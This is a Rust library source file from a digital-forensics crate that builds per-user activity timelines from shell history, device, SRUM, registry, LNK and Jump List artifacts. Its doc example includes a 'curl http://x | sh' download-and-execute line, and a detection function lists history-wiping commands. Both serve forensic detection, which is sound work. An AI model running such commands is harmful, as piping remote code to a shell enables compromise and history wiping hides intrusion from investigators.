Skip to main content

useract_forensic/
lib.rs

1//! `useract-forensic` — the user-activity correlation layer.
2//!
3//! A thin **meta / orchestration** crate: it does not parse any raw format
4//! itself. It consumes already-decoded forensic reader types —
5//! [`shellhist_core::HistoryEntry`], [`peripheral_core::DeviceConnection`], SRUM
6//! records ([`srum_core`]), registry artifacts ([`winreg_artifacts`]), and Shell
7//! Link targets ([`lnk_core::ShellLink`]) — normalizes them into one uniform
8//! [`UserActivity`] event, builds a per-user timeline, and emits cross-source
9//! [`forensicnomicon::report::Finding`]s that no single source could produce alone.
10//!
11//! Every finding is an **observation** ("consistent with …"); the examiner draws
12//! the conclusions. MITRE techniques are narrated as consistency, never a verdict.
13//!
14//! ## 30-second example
15//!
16//! ```
17//! use useract_forensic::{build_timeline, audit, ShellHistorySource, DeviceSource};
18//! use shellhist_core::{HistoryEntry, Shell};
19//!
20//! // (sources are normally produced by the reader crates; constructed here inline)
21//! let entries = shellhist_core::parse_auto(b"#1700000000\ncurl http://x | sh\n", Some(".bash_history"));
22//! let shell = ShellHistorySource::new(&entries);
23//! let devices = DeviceSource::new(&[]);
24//!
25//! let timeline = build_timeline(&[&shell, &devices]);
26//! let findings = audit(&timeline);
27//! for f in &findings {
28//!     println!("{} — {}", f.code, f.note);
29//! }
30//! ```
31//!
32//! ## Sources
33//!
34//! Every source slots in behind the [`ActivitySource`] trait: shell history and
35//! peripheral devices (v0.1) plus SRUM (per-user app/network usage by SID — the
36//! first actor-attributing source), registry artifacts (UserAssist / TypedURLs /
37//! ShellBags), and recent-file LNK targets (carrying the volume serial that
38//! completes the device join). See `docs/roadmap.md` for the v0.3 sources.
39
40#![forbid(unsafe_code)]
41
42use forensicnomicon::report::{Category, ExternalRef, Finding, Severity, Source};
43use peripheral_core::{Bus, DeviceConnection};
44use shellhist_core::HistoryEntry;
45
46/// What a user did to a [`Subject`].
47#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
48pub enum Action {
49    /// Ran a program or command.
50    Executed,
51    /// Opened or read a file/folder.
52    Accessed,
53    /// Attached / connected a device.
54    Connected,
55    /// Issued a search query.
56    Searched,
57    /// Typed text (e.g. a typed URL / run-box entry).
58    Typed,
59    /// Disabled, cleared, or otherwise tampered with an activity record.
60    HistoryTampered,
61    /// Selected a menu item in an application's menu bar.
62    ///
63    /// Sourced from Apple Biome `App.MenuItem` records. Represents a deliberate
64    /// UI interaction — the user explicitly opened a menu and chose an item —
65    /// distinct from [`Action::Executed`] (program launch) and
66    /// [`Action::Accessed`] (file open).
67    MenuSelected,
68}
69
70/// The thing an [`Action`] was performed on.
71#[derive(Debug, Clone, PartialEq, Eq, Hash)]
72pub enum Subject {
73    /// A shell command or program invocation.
74    Command(String),
75    /// A file path, carrying the **volume serial** of the volume it lives on when
76    /// the source knows it (LNK `VolumeID`). The serial is the join key to a
77    /// [`Subject::Device`] with the same volume serial (see
78    /// [`device_file_volume_joins`]).
79    File {
80        /// The file path.
81        path: String,
82        /// NTFS/FAT volume serial of the file's volume, when known.
83        volume_serial: Option<u32>,
84    },
85    /// A folder path, carrying the **volume serial** of the volume it lives on when
86    /// the source knows it (shellbag / LNK directory target).
87    Folder {
88        /// The folder path.
89        path: String,
90        /// NTFS/FAT volume serial of the folder's volume, when known.
91        volume_serial: Option<u32>,
92    },
93    /// An external device, with its volume serial kept distinct so an LNK /
94    /// shellbag [`Subject::File`] carrying the same NTFS/FAT volume serial can be
95    /// joined to it (see [`device_file_volume_joins`]).
96    Device {
97        /// Device instance id (the stable primary key).
98        id: String,
99        /// NTFS/FAT volume serial of the device's volume, when known.
100        volume_serial: Option<u32>,
101    },
102    /// A search / lookup query.
103    Query(String),
104}
105
106impl Subject {
107    /// A file path with no known volume serial.
108    #[must_use]
109    pub fn file(path: impl Into<String>) -> Self {
110        Self::File {
111            path: path.into(),
112            volume_serial: None,
113        }
114    }
115
116    /// A folder path with no known volume serial.
117    #[must_use]
118    pub fn folder(path: impl Into<String>) -> Self {
119        Self::Folder {
120            path: path.into(),
121            volume_serial: None,
122        }
123    }
124}
125
126/// Which reader the activity was normalized from.
127///
128/// Extensible: marked `#[non_exhaustive]` so adding a variant is non-breaking;
129/// consumers must use a `_` arm when matching.
130#[non_exhaustive]
131#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
132pub enum SourceKind {
133    /// `shellhist-core` — shell command history.
134    ShellHistory,
135    /// `peripheral-core` — external-device connections.
136    PeripheralDevice,
137    /// `srum-core` / `srum-parser` — per-user app execution and network bytes,
138    /// attributed to a user SID (the first by-SID source).
139    Srum,
140    /// `winreg-artifacts` — registry per-user artifacts (UserAssist, TypedURLs,
141    /// ShellBags).
142    Registry,
143    /// `lnk-core` — Windows Shell Link (`.lnk`) targets, carrying the volume
144    /// serial that completes the device join.
145    LnkFile,
146    /// `lnk-core` Jump Lists (`*.automaticDestinations-ms` /
147    /// `*.customDestinations-ms`) — per-application recent/pinned items, with the
148    /// `DestList` MRU last-access time and origin host.
149    JumpList,
150    /// `segb-core` — Apple Biome `App.MenuItem` records (macOS Tahoe 26+).
151    ///
152    /// Each record captures a menu-bar item selection: the application name and
153    /// the exact text of the item chosen. Stored in SEGB container files under
154    /// `~/Library/Biome/streams/restricted/App.MenuItem/local`.
155    ///
156    /// **Validation caveat**: the protobuf field numbers in `segb-core` are
157    /// inferred from published research; validation against a real macOS Tahoe 26
158    /// sample is pending. See `segb-core/docs/validation.md`.
159    BiomeMenuItem,
160}
161
162/// One normalized user-activity event: *who* did *what*, *when*, to *which* subject.
163#[derive(Debug, Clone, PartialEq, Eq)]
164pub struct UserActivity {
165    /// Unix epoch seconds, when the source records it. `None` when the source
166    /// carries no usable timestamp (e.g. plain bash / PowerShell PSReadLine).
167    pub timestamp: Option<i64>,
168    /// The acting user / SID, when the source attributes it. Most v0.1 sources do
169    /// not attribute a user; SRUM (v0.2) is the first by-SID source.
170    pub actor: Option<String>,
171    /// What was done.
172    pub action: Action,
173    /// What it was done to.
174    pub subject: Subject,
175    /// Which reader produced this event.
176    pub source: SourceKind,
177    /// A human-readable detail string for the event.
178    pub detail: String,
179}
180
181/// A producer of [`UserActivity`] events.
182///
183/// Implementing this trait is the v0.2 extension seam: a new reader wrapper
184/// (`lnk-core`, `shellbag-core`, `srum-core`, `winreg-artifacts`) implements
185/// `activities` and slots into [`build_timeline`] with no API change.
186pub trait ActivitySource {
187    /// The activities this source contributes to the timeline.
188    fn activities(&self) -> Vec<UserActivity>;
189}
190
191/// Does this shell command disable or clear command history?
192///
193/// Recognizes the common anti-forensic primitives across bash/zsh/PowerShell. The
194/// match is on structure (the verb + the well-known history target), not on a
195/// hardcoded full command line, so any member of the class is caught.
196fn is_history_tamper(cmd: &str) -> bool {
197    let c = cmd.to_ascii_lowercase();
198    let c = c.trim();
199    // bash/zsh: unset the history file, point it at the bit bucket, or clear it.
200    c.contains("unset histfile")
201        || c.contains("histfile=/dev/null")
202        || c.contains("histsize=0")
203        || c.contains("histfilesize=0")
204        || (c.contains("history") && (c.contains(" -c") || c.ends_with("-c")))
205        || c.contains("history -c")
206        // PowerShell PSReadLine history file removal.
207        || (c.contains("clear-history"))
208        || (c.contains("remove-item") && c.contains("consolehost_history"))
209        // Truncate/remove the history file directly.
210        || (c.contains("rm ") && c.contains(".bash_history"))
211        || (c.contains("rm ") && c.contains(".zsh_history"))
212        || (c.starts_with("> ") && c.contains("history"))
213}
214
215/// A [`ShellHistorySource`] wraps a borrowed slice of decoded history entries.
216///
217/// Each command becomes an [`Action::Executed`] [`UserActivity`]; a command that
218/// disables or clears history becomes an [`Action::HistoryTampered`] event instead
219/// (the clearing itself is the activity worth surfacing).
220pub struct ShellHistorySource<'a> {
221    entries: &'a [HistoryEntry],
222    actor: Option<String>,
223}
224
225impl<'a> ShellHistorySource<'a> {
226    /// Wrap decoded history entries with no attributed actor.
227    #[must_use]
228    pub fn new(entries: &'a [HistoryEntry]) -> Self {
229        Self {
230            entries,
231            actor: None,
232        }
233    }
234
235    /// Wrap decoded history entries, attributing them to a known user/account.
236    #[must_use]
237    pub fn for_actor(entries: &'a [HistoryEntry], actor: impl Into<String>) -> Self {
238        Self {
239            entries,
240            actor: Some(actor.into()),
241        }
242    }
243}
244
245impl ActivitySource for ShellHistorySource<'_> {
246    fn activities(&self) -> Vec<UserActivity> {
247        from_shell_history(self.entries, self.actor.as_deref())
248    }
249}
250
251/// Normalize a decoded shell-history stream into [`UserActivity`] events.
252///
253/// Each command → [`Action::Executed`]; a history-clearing command →
254/// [`Action::HistoryTampered`]. The `actor` (when known) is carried onto every
255/// event.
256#[must_use]
257pub fn from_shell_history(entries: &[HistoryEntry], actor: Option<&str>) -> Vec<UserActivity> {
258    entries
259        .iter()
260        .map(|e| {
261            let action = if is_history_tamper(&e.command) {
262                Action::HistoryTampered
263            } else {
264                Action::Executed
265            };
266            UserActivity {
267                timestamp: e.timestamp,
268                actor: actor.map(ToString::to_string),
269                action,
270                subject: Subject::Command(e.command.clone()),
271                source: SourceKind::ShellHistory,
272                detail: e.command.clone(),
273            }
274        })
275        .collect()
276}
277
278/// A [`DeviceSource`] wraps a borrowed slice of decoded device connections.
279///
280/// Each connection becomes an [`Action::Connected`] [`UserActivity`] whose
281/// [`Subject::Device`] carries the device instance id and the **volume serial**, so
282/// the v0.2 LNK/shellbag join can light up.
283pub struct DeviceSource<'a> {
284    connections: &'a [DeviceConnection],
285}
286
287impl<'a> DeviceSource<'a> {
288    /// Wrap decoded device connections.
289    #[must_use]
290    pub fn new(connections: &'a [DeviceConnection]) -> Self {
291        Self { connections }
292    }
293}
294
295impl ActivitySource for DeviceSource<'_> {
296    fn activities(&self) -> Vec<UserActivity> {
297        from_device_connections(self.connections)
298    }
299}
300
301/// Normalize a decoded device-connection stream into [`UserActivity`] events.
302///
303/// Each connection → [`Action::Connected`], carrying the device id and the volume
304/// serial. The timestamp is the device's first-install/first-seen stamp when the
305/// source recorded one.
306#[must_use]
307pub fn from_device_connections(connections: &[DeviceConnection]) -> Vec<UserActivity> {
308    connections
309        .iter()
310        .map(|c| {
311            let timestamp = c
312                .first_install
313                .or(c.last_arrival)
314                .or(c.last_install)
315                .map(|s| s.value);
316            UserActivity {
317                timestamp,
318                actor: None,
319                action: Action::Connected,
320                subject: Subject::Device {
321                    id: c.device_instance_id.clone(),
322                    volume_serial: c.volume_serial,
323                },
324                source: SourceKind::PeripheralDevice,
325                detail: c.device_instance_id.clone(),
326            }
327        })
328        .collect()
329}
330
331/// A [`SrumSource`] wraps borrowed SRUM network-usage and app-usage records plus
332/// the `SruDbIdMapTable` that resolves their integer `user_id` / `app_id` foreign
333/// keys to user SIDs and application paths.
334///
335/// SRUM is the first source that **attributes** activity to a specific user: each
336/// row becomes an [`Action::Executed`] [`UserActivity`] whose `actor` is the
337/// resolved user SID. Network rows additionally carry the per-interval byte volume
338/// in `detail`, sharpening the exfiltration lens.
339pub struct SrumSource<'a> {
340    network: &'a [srum_core::NetworkUsageRecord],
341    app_usage: &'a [srum_core::AppUsageRecord],
342    id_map: &'a [srum_core::IdMapEntry],
343}
344
345impl<'a> SrumSource<'a> {
346    /// Wrap decoded SRUM records with the id-map needed to resolve users and apps.
347    #[must_use]
348    pub fn new(
349        network: &'a [srum_core::NetworkUsageRecord],
350        app_usage: &'a [srum_core::AppUsageRecord],
351        id_map: &'a [srum_core::IdMapEntry],
352    ) -> Self {
353        Self {
354            network,
355            app_usage,
356            id_map,
357        }
358    }
359}
360
361impl ActivitySource for SrumSource<'_> {
362    fn activities(&self) -> Vec<UserActivity> {
363        from_srum(self.network, self.app_usage, self.id_map)
364    }
365}
366
367/// Resolve a SRUM integer id to its mapped name via the `SruDbIdMapTable`.
368///
369/// Returns `None` when the id is absent from the map — the caller substitutes a
370/// stable synthetic token so the foreign key is never silently dropped.
371fn resolve_id(id: i32, id_map: &[srum_core::IdMapEntry]) -> Option<String> {
372    id_map
373        .iter()
374        .find(|e| e.id == id)
375        .map(|e| e.name.clone())
376        .filter(|n| !n.is_empty())
377}
378
379/// Normalize SRUM network-usage and app-usage records into [`UserActivity`] events.
380///
381/// Each record → [`Action::Executed`], attributed to the user SID resolved from the
382/// id-map (falling back to a `user-id:<n>` token when unresolved). The application
383/// resolves to its path (falling back to `app-id:<n>`). Network rows carry their
384/// `<bytes_sent>↑ / <bytes_recv>↓ bytes` in `detail`; app-usage rows carry their
385/// foreground/background CPU cycles. The `DateTime<Utc>` timestamp becomes Unix
386/// epoch seconds.
387#[must_use]
388pub fn from_srum(
389    network: &[srum_core::NetworkUsageRecord],
390    app_usage: &[srum_core::AppUsageRecord],
391    id_map: &[srum_core::IdMapEntry],
392) -> Vec<UserActivity> {
393    let mut acts = Vec::with_capacity(network.len() + app_usage.len());
394
395    for r in network {
396        let actor =
397            resolve_id(r.user_id, id_map).unwrap_or_else(|| format!("user-id:{}", r.user_id));
398        let app = resolve_id(r.app_id, id_map).unwrap_or_else(|| format!("app-id:{}", r.app_id));
399        acts.push(UserActivity {
400            timestamp: Some(r.timestamp.timestamp()),
401            actor: Some(actor),
402            action: Action::Executed,
403            subject: Subject::Command(app),
404            source: SourceKind::Srum,
405            detail: format!(
406                "{}\u{2191} / {}\u{2193} bytes (SRUM network usage)",
407                r.bytes_sent, r.bytes_recv
408            ),
409        });
410    }
411
412    for r in app_usage {
413        let actor =
414            resolve_id(r.user_id, id_map).unwrap_or_else(|| format!("user-id:{}", r.user_id));
415        let app = resolve_id(r.app_id, id_map).unwrap_or_else(|| format!("app-id:{}", r.app_id));
416        acts.push(UserActivity {
417            timestamp: Some(r.timestamp.timestamp()),
418            actor: Some(actor),
419            action: Action::Executed,
420            subject: Subject::Command(app),
421            source: SourceKind::Srum,
422            detail: format!(
423                "{} foreground / {} background CPU cycles (SRUM app usage)",
424                r.foreground_cycles, r.background_cycles
425            ),
426        });
427    }
428
429    acts
430}
431
432/// A [`LnkSource`] wraps borrowed Windows Shell Link targets parsed by `lnk-core`.
433///
434/// Each [`ShellLink`](lnk_core::ShellLink) → an [`Action::Accessed`]
435/// [`Subject::File`] whose path is the link's local base path (or the network
436/// target's UNC name) and whose `volume_serial` is the `VolumeID`
437/// `DriveSerialNumber` — the structured key that completes the device join. The
438/// target's last-write FILETIME becomes the activity timestamp.
439pub struct LnkSource<'a> {
440    links: &'a [lnk_core::ShellLink],
441    actor: Option<String>,
442}
443
444impl<'a> LnkSource<'a> {
445    /// Wrap parsed shell links, attributing them to a user when known.
446    #[must_use]
447    pub fn new(links: &'a [lnk_core::ShellLink], actor: Option<&str>) -> Self {
448        Self {
449            links,
450            actor: actor.map(ToString::to_string),
451        }
452    }
453}
454
455impl ActivitySource for LnkSource<'_> {
456    fn activities(&self) -> Vec<UserActivity> {
457        from_lnk(self.links, self.actor.as_deref())
458    }
459}
460
461/// Normalize parsed Shell Links into [`Action::Accessed`] file [`UserActivity`]s.
462///
463/// Each link's target path comes from `link_info.local_base_path`; when that is
464/// absent, the `CommonNetworkRelativeLink` net name (a UNC share) is used. A link
465/// with no `LinkInfo` and no resolvable target is skipped rather than emitting a
466/// pathless event. The target's `write_time` FILETIME (already Unix epoch seconds,
467/// 0 = unset) becomes the timestamp; the `VolumeID` drive serial is carried on the
468/// [`Subject::File`] as the device-join key.
469#[must_use]
470pub fn from_lnk(links: &[lnk_core::ShellLink], actor: Option<&str>) -> Vec<UserActivity> {
471    links
472        .iter()
473        .filter_map(|link| {
474            let info = link.link_info.as_ref()?;
475            let path = info.local_base_path.clone().or_else(|| {
476                info.common_network_relative_link
477                    .as_ref()
478                    .and_then(|c| c.net_name.clone())
479            })?;
480            let volume_serial = info.volume_id.as_ref().map(|v| v.drive_serial_number);
481            // lnk-core already maps a zero "not set" FILETIME to 0 epoch seconds.
482            let timestamp = (link.header.write_time != 0).then_some(link.header.write_time);
483            Some(UserActivity {
484                timestamp,
485                actor: actor.map(ToString::to_string),
486                action: Action::Accessed,
487                subject: Subject::File {
488                    path: path.clone(),
489                    volume_serial,
490                },
491                source: SourceKind::LnkFile,
492                detail: format!("LNK target: {path}"),
493            })
494        })
495        .collect()
496}
497
498/// A [`JumpListSource`] wraps parsed `lnk-core` Jump Lists — the per-application
499/// MRU of recently opened (and pinned) items. Automatic destinations carry a
500/// `DestList` with the authoritative per-target access time and origin host;
501/// custom destinations are a flat list of embedded shell links.
502pub struct JumpListSource<'a> {
503    lists: &'a [lnk_core::JumpList],
504    actor: Option<String>,
505}
506
507impl<'a> JumpListSource<'a> {
508    /// Wrap parsed Jump Lists, attributing them to a user when known.
509    #[must_use]
510    pub fn new(lists: &'a [lnk_core::JumpList], actor: Option<&str>) -> Self {
511        Self {
512            lists,
513            actor: actor.map(ToString::to_string),
514        }
515    }
516}
517
518impl ActivitySource for JumpListSource<'_> {
519    fn activities(&self) -> Vec<UserActivity> {
520        from_jumplists(self.lists, self.actor.as_deref())
521    }
522}
523
524/// Normalize parsed Jump Lists into [`Action::Accessed`] file [`UserActivity`]s.
525///
526/// Each entry yields one event. The target path and access time prefer the
527/// `DestList` record (the authoritative MRU metadata of an automatic-destinations
528/// list); when there is no `DestList` (a custom-destinations entry) the embedded
529/// shell link supplies them, exactly as a loose `.lnk` does via [`from_lnk`]. The
530/// embedded link's `VolumeID` drive serial is carried on the [`Subject::File`] as
531/// the device-join key. An entry with no resolvable target path is skipped rather
532/// than emitting a pathless event.
533#[must_use]
534pub fn from_jumplists(lists: &[lnk_core::JumpList], actor: Option<&str>) -> Vec<UserActivity> {
535    let mut out = Vec::new();
536    for list in lists {
537        let app = list.app_id.as_deref().map_or_else(
538            || "unknown app".to_string(),
539            |id| {
540                forensicnomicon::jumplist::appid_name(id)
541                    .map_or_else(|| format!("AppID {id}"), ToString::to_string)
542            },
543        );
544        for entry in &list.entries {
545            let info = entry.link.link_info.as_ref();
546            let link_path = info.and_then(|i| {
547                i.local_base_path.clone().or_else(|| {
548                    i.common_network_relative_link
549                        .as_ref()
550                        .and_then(|c| c.net_name.clone())
551                })
552            });
553            // Prefer the DestList-recorded target; fall back to the embedded link.
554            let path = match entry.destlist.as_ref() {
555                Some(d) if !d.path.is_empty() => Some(d.path.clone()),
556                _ => link_path,
557            };
558            let Some(path) = path else { continue };
559
560            let volume_serial =
561                info.and_then(|i| i.volume_id.as_ref().map(|v| v.drive_serial_number));
562            // DestList last-access is authoritative; else the link write_time. Both
563            // use 0 as the "not set" sentinel.
564            let dl_ts = entry
565                .destlist
566                .as_ref()
567                .and_then(|d| (d.last_access != 0).then_some(d.last_access));
568            let timestamp = dl_ts.or_else(|| {
569                (entry.link.header.write_time != 0).then_some(entry.link.header.write_time)
570            });
571
572            let detail = match entry.destlist.as_ref() {
573                Some(d) => format!("JumpList ({app}) recent item on {}: {path}", d.hostname),
574                None => format!("JumpList ({app}) recent item: {path}"),
575            };
576            out.push(UserActivity {
577                timestamp,
578                actor: actor.map(ToString::to_string),
579                action: Action::Accessed,
580                subject: Subject::File {
581                    path,
582                    volume_serial,
583                },
584                source: SourceKind::JumpList,
585                detail,
586            });
587        }
588    }
589    out
590}
591
592/// Parse an ISO-8601 `%Y-%m-%dT%H:%M:%SZ` UTC timestamp (the form
593/// `winreg-artifacts` emits) into Unix epoch seconds. Returns [`None`] for an
594/// absent or unparseable value — a missing timestamp is forensically meaningful,
595/// not an error.
596fn iso8601_to_epoch(s: Option<&str>) -> Option<i64> {
597    let s = s?;
598    chrono::DateTime::parse_from_rfc3339(s)
599        .ok()
600        .map(|dt| dt.timestamp())
601}
602
603/// A [`RegistrySource`] wraps borrowed per-user registry artifacts decoded by
604/// `winreg-artifacts` from an `NTUSER.DAT` / `USRCLASS.DAT` hive.
605///
606/// It normalizes the three published per-user artifacts:
607/// [`UserAssist`](winreg_artifacts::userassist) → [`Action::Executed`],
608/// [`TypedURLs`](winreg_artifacts::typed_urls) → [`Action::Typed`], and
609/// [`ShellBags`](winreg_artifacts::shellbags) → [`Action::Accessed`] (folder).
610///
611/// `winreg-artifacts` v0.1 publishes exactly these three per-user decoders; it has
612/// no separate RecentDocs / RunMRU / MountPoints2 / TypedPaths modules, so the
613/// adapter maps the artifacts that actually exist.
614pub struct RegistrySource<'a> {
615    userassist: &'a [winreg_artifacts::userassist::UserAssistEntry],
616    typed_urls: &'a [winreg_artifacts::typed_urls::TypedUrl],
617    shellbags: &'a [winreg_artifacts::shellbags::ShellbagEntry],
618    actor: Option<String>,
619}
620
621impl<'a> RegistrySource<'a> {
622    /// Wrap decoded registry artifacts, attributing them to a user when known (the
623    /// hive owner — the SID/account the `NTUSER.DAT` belongs to).
624    #[must_use]
625    pub fn new(
626        userassist: &'a [winreg_artifacts::userassist::UserAssistEntry],
627        typed_urls: &'a [winreg_artifacts::typed_urls::TypedUrl],
628        shellbags: &'a [winreg_artifacts::shellbags::ShellbagEntry],
629        actor: Option<&str>,
630    ) -> Self {
631        Self {
632            userassist,
633            typed_urls,
634            shellbags,
635            actor: actor.map(ToString::to_string),
636        }
637    }
638}
639
640impl ActivitySource for RegistrySource<'_> {
641    fn activities(&self) -> Vec<UserActivity> {
642        from_registry(
643            self.userassist,
644            self.typed_urls,
645            self.shellbags,
646            self.actor.as_deref(),
647        )
648    }
649}
650
651/// Normalize UserAssist entries into [`Action::Executed`] [`UserActivity`] events.
652///
653/// Each entry → an `Executed` activity whose subject is the program path; the run
654/// count is carried in `detail` and the ROT13-decoded last-run timestamp parsed to
655/// epoch. The `actor` (the hive owner) is carried when known.
656#[must_use]
657pub fn from_userassist(
658    entries: &[winreg_artifacts::userassist::UserAssistEntry],
659    actor: Option<&str>,
660) -> Vec<UserActivity> {
661    entries
662        .iter()
663        .map(|e| UserActivity {
664            timestamp: iso8601_to_epoch(e.last_run.as_deref()),
665            actor: actor.map(ToString::to_string),
666            action: Action::Executed,
667            subject: Subject::Command(e.program.clone()),
668            source: SourceKind::Registry,
669            detail: format!("UserAssist: {} run {} time(s)", e.program, e.run_count),
670        })
671        .collect()
672}
673
674/// Normalize IE/Edge TypedURLs into [`Action::Typed`] [`UserActivity`] events.
675///
676/// Each typed URL → a `Typed` activity carrying the URL as a [`Subject::Query`]
677/// (an address-bar entry is a typed lookup); the companion `TypedURLsTime`
678/// timestamp parsed to epoch.
679#[must_use]
680pub fn from_typed_urls(
681    urls: &[winreg_artifacts::typed_urls::TypedUrl],
682    actor: Option<&str>,
683) -> Vec<UserActivity> {
684    urls.iter()
685        .map(|u| {
686            let detail = match &u.suspicious_reason {
687                Some(reason) => format!("TypedURL: {} ({reason})", u.url),
688                None => format!("TypedURL: {}", u.url),
689            };
690            UserActivity {
691                timestamp: iso8601_to_epoch(u.last_visited.as_deref()),
692                actor: actor.map(ToString::to_string),
693                action: Action::Typed,
694                subject: Subject::Query(u.url.clone()),
695                source: SourceKind::Registry,
696                detail,
697            }
698        })
699        .collect()
700}
701
702/// Normalize ShellBags into [`Action::Accessed`] folder [`UserActivity`] events.
703///
704/// Each BagMRU entry → an `Accessed` activity whose [`Subject::Folder`] is the
705/// reconstructed folder path; the key's `LastWriteTime` parsed to epoch.
706#[must_use]
707pub fn from_shellbags(
708    bags: &[winreg_artifacts::shellbags::ShellbagEntry],
709    actor: Option<&str>,
710) -> Vec<UserActivity> {
711    bags.iter()
712        .map(|b| UserActivity {
713            timestamp: iso8601_to_epoch(b.last_written.as_deref()),
714            actor: actor.map(ToString::to_string),
715            action: Action::Accessed,
716            subject: Subject::folder(b.path.clone()),
717            source: SourceKind::Registry,
718            detail: format!("ShellBag {}: {}", b.key_path, b.path),
719        })
720        .collect()
721}
722
723/// Normalize all three per-user registry artifacts into one [`UserActivity`] stream.
724///
725/// Concatenates [`from_userassist`], [`from_typed_urls`], and [`from_shellbags`],
726/// attributing every event to the hive owner when known.
727#[must_use]
728pub fn from_registry(
729    userassist: &[winreg_artifacts::userassist::UserAssistEntry],
730    typed_urls: &[winreg_artifacts::typed_urls::TypedUrl],
731    shellbags: &[winreg_artifacts::shellbags::ShellbagEntry],
732    actor: Option<&str>,
733) -> Vec<UserActivity> {
734    let mut acts = from_userassist(userassist, actor);
735    acts.extend(from_typed_urls(typed_urls, actor));
736    acts.extend(from_shellbags(shellbags, actor));
737    acts
738}
739
740/// A [`BiomeMenuItemSource`] wraps decoded Apple Biome `App.MenuItem` records.
741///
742/// Each record captures a deliberate menu-bar selection: the application name
743/// and the exact text of the chosen item. Records without a `menu_item` text
744/// are skipped — they carry no actionable label.
745///
746/// Stored in SEGB container files under
747/// `~/Library/Biome/streams/restricted/App.MenuItem/local` (macOS Tahoe 26+).
748///
749/// **Validation caveat**: the `segb-core` protobuf field numbers for this
750/// stream are inferred from published research; validation against a real
751/// macOS Tahoe 26 sample is pending. See `segb-core/docs/validation.md`.
752pub struct BiomeMenuItemSource<'a> {
753    records: &'a [segb::menuitem::AppMenuItemRecord],
754    actor: Option<String>,
755}
756
757impl<'a> BiomeMenuItemSource<'a> {
758    /// Wrap decoded `App.MenuItem` records, attributing them to a user when known.
759    #[must_use]
760    pub fn new(
761        records: &'a [segb::menuitem::AppMenuItemRecord],
762        actor: Option<&str>,
763    ) -> Self {
764        Self {
765            records,
766            actor: actor.map(ToString::to_string),
767        }
768    }
769}
770
771impl ActivitySource for BiomeMenuItemSource<'_> {
772    fn activities(&self) -> Vec<UserActivity> {
773        from_biome_menu_items(self.records, self.actor.as_deref())
774    }
775}
776
777/// Normalize decoded Biome `App.MenuItem` records into [`Action::MenuSelected`]
778/// [`UserActivity`] events.
779///
780/// Each record whose `menu_item` field is present yields one event. The
781/// `subject` is a [`Subject::Command`] whose value is `"<application>: <menu_item>"`
782/// (or just `"<menu_item>"` when `application` is absent) — the combined label
783/// is the most useful single string for timeline review. Records with no
784/// `menu_item` are skipped rather than emitting a label-less event.
785///
786/// The `timestamp_unix` field (seconds since 1970 as `f64`, forwarded from the
787/// SEGB record header) is truncated to `i64`; a `None` or non-finite value
788/// becomes `None`.
789///
790/// **Validation caveat**: see [`BiomeMenuItemSource`].
791#[must_use]
792pub fn from_biome_menu_items(
793    records: &[segb::menuitem::AppMenuItemRecord],
794    actor: Option<&str>,
795) -> Vec<UserActivity> {
796    records
797        .iter()
798        .filter_map(|r| {
799            let menu_item = r.menu_item.as_deref()?;
800            let label = match r.application.as_deref() {
801                Some(app) => format!("{app}: {menu_item}"),
802                None => menu_item.to_string(),
803            };
804            let timestamp = r
805                .timestamp_unix
806                .and_then(|t| t.is_finite().then_some(t as i64));
807            Some(UserActivity {
808                timestamp,
809                actor: actor.map(ToString::to_string),
810                action: Action::MenuSelected,
811                subject: Subject::Command(label.clone()),
812                source: SourceKind::BiomeMenuItem,
813                detail: label,
814            })
815        })
816        .collect()
817}
818
819/// Merge any number of [`ActivitySource`]s into one timeline, sorted by timestamp.
820///
821/// Events with a timestamp come first in ascending epoch order; `None`-timestamp
822/// events are kept (their order is forensically meaningful too) and ordered stably
823/// at the end, preserving source/insertion order among themselves.
824#[must_use]
825pub fn build_timeline(sources: &[&dyn ActivitySource]) -> Vec<UserActivity> {
826    let mut events: Vec<UserActivity> = sources.iter().flat_map(|s| s.activities()).collect();
827    // Stable sort keeps None-timestamp events in source order; the key puts
828    // timestamped events first (ascending), untimestamped last.
829    events.sort_by_key(|e| (e.timestamp.is_none(), e.timestamp.unwrap_or(i64::MAX)));
830    events
831}
832
833/// The default temporal window (seconds) for the exec-during-removable-media join.
834///
835/// One hour: wide enough to catch a command run while a stick is mounted, tight
836/// enough to keep the temporal coincidence meaningful and the false-positive rate
837/// low.
838pub const REMOVABLE_MEDIA_WINDOW_SECS: i64 = 3600;
839
840/// The conservative per-interval `bytes_sent` threshold above which a SRUM network
841/// row is surfaced as a graded exfiltration **lead** (`USERACT-NETWORK-EXFIL-VOLUME`).
842///
843/// SRUM aggregates per process per ~1-hour interval. 256 MiB sent by a single
844/// process in one interval is well above routine background/telemetry traffic yet
845/// low enough to catch a deliberate bulk upload; it is a deliberately conservative
846/// lead, not a verdict — a backup client or large legitimate upload can also cross
847/// it, so the examiner adjudicates.
848pub const NETWORK_EXFIL_BYTES_THRESHOLD: u64 = 256 * 1024 * 1024;
849
850/// The [`Source`] stamp for findings this analyzer emits.
851#[must_use]
852pub fn source(scope: impl Into<String>) -> Source {
853    Source {
854        analyzer: "useract-forensic".to_string(),
855        scope: scope.into(),
856        version: Some(env!("CARGO_PKG_VERSION").to_string()),
857    }
858}
859
860/// Generic volume-serial join: pair every [`Subject::Device`] activity with every
861/// [`Subject::File`] / [`Subject::Folder`] activity that names the **same volume
862/// serial**.
863///
864/// Active in v0.2: a [`Subject::File`] / [`Subject::Folder`] carrying a
865/// `volume_serial` (from `lnk-core`'s `VolumeID`) joins to a [`Subject::Device`]
866/// connected with the same serial. Returns `(device_index, file_index)` pairs into
867/// `events`.
868///
869/// The volume serial is read first from the subject's structured `volume_serial`
870/// field; a `vol:<serial>` token in [`UserActivity::detail`] is honored as a
871/// fallback so an out-of-band source that only annotates the detail still joins.
872#[must_use]
873pub fn device_file_volume_joins(events: &[UserActivity]) -> Vec<(usize, usize)> {
874    let mut pairs = Vec::new();
875    for (di, dev) in events.iter().enumerate() {
876        let Subject::Device {
877            volume_serial: Some(dev_serial),
878            ..
879        } = &dev.subject
880        else {
881            continue;
882        };
883        for (fi, file) in events.iter().enumerate() {
884            if file_volume_serial(file) == Some(*dev_serial) {
885                pairs.push((di, fi));
886            }
887        }
888    }
889    pairs
890}
891
892/// Extract a file/folder activity's volume serial: the subject's structured
893/// `volume_serial` field, else a `vol:<serial>` token in its
894/// [`UserActivity::detail`]. Non-file subjects yield [`None`].
895fn file_volume_serial(activity: &UserActivity) -> Option<u32> {
896    let structured = match &activity.subject {
897        Subject::File { volume_serial, .. } | Subject::Folder { volume_serial, .. } => {
